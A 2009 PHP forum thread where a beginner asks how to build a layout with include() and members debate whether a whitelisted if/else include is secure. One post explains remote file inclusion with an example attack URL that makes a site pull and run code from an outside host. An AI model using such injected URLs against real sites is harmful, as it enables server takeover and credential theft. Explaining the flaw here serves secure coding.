drifblim Posted May 18, 2009 Share Posted May 18, 2009 Greetings. I've been doing web design (HTML, CSS) for about 7 years as a hobby, never professionally, and I've never learnt PHP (I've seldom had server access to use it). I hope to one day (perhaps starting now?) learn the basics of PHP and to employ useful/necessary PHP techniques into future web designs. At the moment I just need help creating a basic web layout using the Include function while still remaining secure. I've come here because I had trouble finding any good tutorials on the internet - I could find very few tutorials and those that I found were lacking vital information; I tried following the tutorials but ended up stuck or confused. I want to make a typical, simple PHP layout template -- Header and Footer (simple enough), Content (i.e. the area where the pages I want to be accessed appear) and a navigation bar (with links which Include PHP files to be displayed in the Content area, e.g. href="index.php?content=example"). I don't want all the content to be included in one single file like one tutorial suggested. I want each hyperlink to open content from separate PHP files. I think this is fairly obvious but I'm just making this clear. I hope I'm doing the right thing by posting this here and I hope all of this made sense. I'm not savvy with PHP or PHP jargon. I'll also mention that I did a search through the forums for any tutorials/guides but I wasn't able to find any, unfortunately. Thank you in advance for your help. Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/ Share on other sites More sharing options...
Masna Posted May 18, 2009 Share Posted May 18, 2009 <?PHP include('header.php'); if($_GET['content'] == 'example') include('example.php'); else if($_GET['content'] == 'anotherexample') include('anotherexample.php'); include('footer.php'); ?> Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836145 Share on other sites More sharing options...
BK87 Posted May 18, 2009 Share Posted May 18, 2009 that code above is very bad! security issues! Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836151 Share on other sites More sharing options...
Masna Posted May 18, 2009 Share Posted May 18, 2009 Quote that code above is very bad! security issues! Care to elaborate? Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836152 Share on other sites More sharing options...
drifblim Posted May 18, 2009 Author Share Posted May 18, 2009 Quote that code above is very bad! security issues! Oh really? I am going to try that code just out of curiosity to see if I can get it working, but if anyone can help by demonstrating a secure code I'd appreciate it. Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836153 Share on other sites More sharing options...
jlhaslip Posted May 18, 2009 Share Posted May 18, 2009 Here is a link to the first 'PHP' site that I used as a learning tool. That was a while ago, and it would be different today, but have a look and see what you can learn from it. Today's version: http://jlhaslip.com/modular/ Both work from a single page and use 'flat-files' so you aren't dealing with having to learn the Database stuff with it. Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836156 Share on other sites More sharing options...
drifblim Posted May 18, 2009 Author Share Posted May 18, 2009 Thanks for the link. I tried the code that Masna gave me and it works the way I want it to. I'm still not sure how his code is allegedly unsecure, and if it is I'd like a short explanation and a solution if possible. Thank you very much for the help. Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836161 Share on other sites More sharing options...
jlhaslip Posted May 18, 2009 Share Posted May 18, 2009 Just noticed that I forgot to post the first Link in my previous reply. It works similar to the above code, except it uses an array of valid pages to access, so it is 'more secure' than a straight swap for the Get variable. http://jlhaslip.com/template/?page=index Walk trough that site, page by page, to see the php code. Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836163 Share on other sites More sharing options...
BK87 Posted May 18, 2009 Share Posted May 18, 2009 back in the back people use to Quote Quote that code above is very bad! security issues! Care to elaborate? okay... back in the day about 5-7 years ago, php nuke use to use that type of format for some of their file extentions, and I've had to clean up after their bad work because people would inject a file from their own server... let me explain how it works... hack code will be in file called hack.txt your url will read... http://www.site.com/page.php?template=index.php all I would have to do is... http://www.site.com/page.php?template=http://www.mysite.com/hack.txt&run=what ever code I want... its simple security issue... if you include you are including a text file which has php in it, and it works just like a regular php file on your server, leaving exploits all over the place. access to password file anything you want. ---- apologize, I miss read your code, its some what security proof although not a way I would do it. Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836170 Share on other sites More sharing options...
drifblim Posted May 18, 2009 Author Share Posted May 18, 2009 Thank you all for your help, I think I have an idea about what I'm doing now. The PHP code that I tried is working for me. I'll come back here if I hit any hurdles in the future. Thank you! Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836178 Share on other sites More sharing options...
corbin Posted May 18, 2009 Share Posted May 18, 2009 BK87, that snippet is not vulnerable to RFI at all. >.< Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836184 Share on other sites More sharing options...
Masna Posted May 18, 2009 Share Posted May 18, 2009 Quote back in the back people use to Quote Quote that code above is very bad! security issues! Care to elaborate? okay... back in the day about 5-7 years ago, php nuke use to use that type of format for some of their file extentions, and I've had to clean up after their bad work because people would inject a file from their own server... let me explain how it works... hack code will be in file called hack.txt your url will read... http://www.site.com/page.php?template=index.php all I would have to do is... http://www.site.com/page.php?template=http://www.mysite.com/hack.txt&run=what ever code I want... its simple security issue... if you include you are including a text file which has php in it, and it works just like a regular php file on your server, leaving exploits all over the place. access to password file anything you want. ---- apologize, I miss read your code, its some what security proof although not a way I would do it. LOL! Did you even read the code I posted? I didn't include whatever was filled in the appropriate $_GET variable, I used an if--else-if to check to see if whatever was filled in the appropriate $_GET variable matched one of a few various, specific cases. Pay attention, and apply what you know to situations which you encounter in life. Don't just regurgitate what you know from what has happened in potentially similar cases. It's a very easy trap to fall into. And it makes you look quite stupid. Quote apologize, I miss read your code, its some what security proof although not a way I would do it. I appreciate the apology. And, it's completely "security proof." Why wouldn't you do it? It's organized, simple, and effective. Quote Link to comment https://forums.phpfreaks.com/topic/158533-creating-a-simple-php-layout-im-new-to-php/#findComment-836190 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.